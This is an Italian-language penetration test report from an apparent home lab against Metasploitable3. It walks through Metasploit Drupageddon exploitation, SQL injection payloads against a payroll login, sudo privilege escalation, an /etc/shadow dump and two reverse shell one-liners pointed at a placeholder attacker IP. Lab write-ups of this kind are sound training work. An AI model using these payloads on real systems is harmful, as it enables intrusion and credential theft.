Metasploitable3 — Report di Penetration Test

Autore: Arlen Fortunato
Data: Settembre 2026
Ambiente: Parrot OS (attaccante) → Metasploitable3 Ubuntu 14.04 (target)
Scope: Penetration test completo di rete — enumerazione, exploitation, privesc, post-exploitation
Tipo: Home Lab / Esercitazione Capture The Flag

⚠️ Tutte le credenziali riportate di seguito sono redatte. Si è trattato di un esercizio legale in un home lab isolato.

Strumenti Utilizzati

Ricognizione — Nmap Full Port Scan

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64

Riepilogo delle Vulnerabilità

Dettagli delle Vulnerabilità

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — Falso Positivo

Vulnerabilità: UnrealIRCd 3.2.8.1 è stato storicamente distribuito con un binario trojanizzato che esegue comandi arbitrari quando un client non autenticato invia una stringa trigger prima della registrazione — RCE come utente del daemon IRC.

Tentativo di exploitation: Modulo Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor con payload cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. L'auto-check del modulo ha segnalato il servizio come vulnerabile; nessuna sessione restituita con alcun payload.

Troubleshooting eseguito:

• Porta raggiungibile (nc -vz)
• Porta confermata come IRC in chiaro, non TLS (openssl s_client)
• Connessione inversa manuale dal target confermata, il networking in uscita funziona
• Trigger manuale della backdoor tramite nc ha restituito l'errore di protocollo IRC 451 — comando interpretato come comando IRC, mai eseguito

Conclusione: Il banner di versione indica la build vulnerabile, ma la backdoor è assente in questa istanza (binario pulito/ricompilato). Classificato non sfruttabile — falso positivo, con evidenze.

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Vulnerabilità: Drupal 7.x precedente alla 7.32 contiene una SQL injection critica nel livello di astrazione del database che consente remote code execution non autenticato.

Conferma versione: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Exploitation:

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Risultato:

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Enumerazione post-exploitation:

• /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
• /home: 16 account utente

3. App Payroll — SQL Injection Basata su UNION (Manuale)

Vulnerabilità: Form di login di payroll_app.php, SQL injection nel campo password. Nessuna automazione utilizzata — creata tramite curl.

Passo 1 — Bypass dell'autenticazione:

' or 1=1#

' chiude la stringa SQL, or 1=1 forza il vero, # commenta la virgoletta finale.

Passo 2 — Conteggio colonne + mappatura visualizzazione:

' UNION SELECT null, null, null, null#     -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4#                 -- markers: 1=Username, 2=First, 3=Last, 4=Salary

Passo 3 — Enumerazione information_schema:

Passo 4 — Dump (password redatte):

' UNION SELECT username, password, salary, null FROM users#

4. SSH — Credenziali di Default e Riutilizzo delle Credenziali

Percorso 1 — Account di default: coppia di credenziali di default vagrant autenticata via SSH → utente nel gruppo sudo con (ALL : ALL) NOPASSWD: ALL.

Percorso 2 — Riutilizzo delle credenziali: credenziali raccolte dal dump SQLi autenticate direttamente via SSH come altro utente del lab (luke_skywalker, gruppo sudo, (ALL : ALL) ALL).

Significato: dimostra il riutilizzo di credenziali tra servizi — credenziali applicative mappate su un account di sistema.

5. Privilege Escalation (Due Percorsi)

• Percorso A: vagrant → sudo -l mostra NOPASSWD: ALL → sudo su - → uid=0(root).
• Percorso B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

Nessun exploit locale necessario — entrambi gli account possiedono permessi sudo eccessivamente permissivi.

6. Dump dello Shadow

sudo cat /etc/shadow

Estratti 16 hash md5crypt ($1$) — raccolta completa delle credenziali post-privesc.

7. Post-Exploitation — Reverse Shell

Payload 1 — bash:

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Catturata su nc -lnvp 4444 → shell interattiva.

Payload 2 — netcat (named-pipe):

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Catturata su nc -lnvp 4445 → shell interattiva.

Meccanismo: la named pipe (FIFO) collega stdin/stdout di netcat a /bin/sh, formando un tunnel bidirezionale su singolo socket; la FIFO viene rimossa successivamente.

Raccomandazioni di Remediation

Disclaimer

Tutti i test sono stati eseguiti esclusivamente in un home lab isolato utilizzando software intenzionalmente vulnerabile (Rapid7 Metasploitable3). Nessun sistema di produzione o target non autorizzato è stato coinvolto. Questo report è a scopo educativo e di sviluppo personale delle competenze.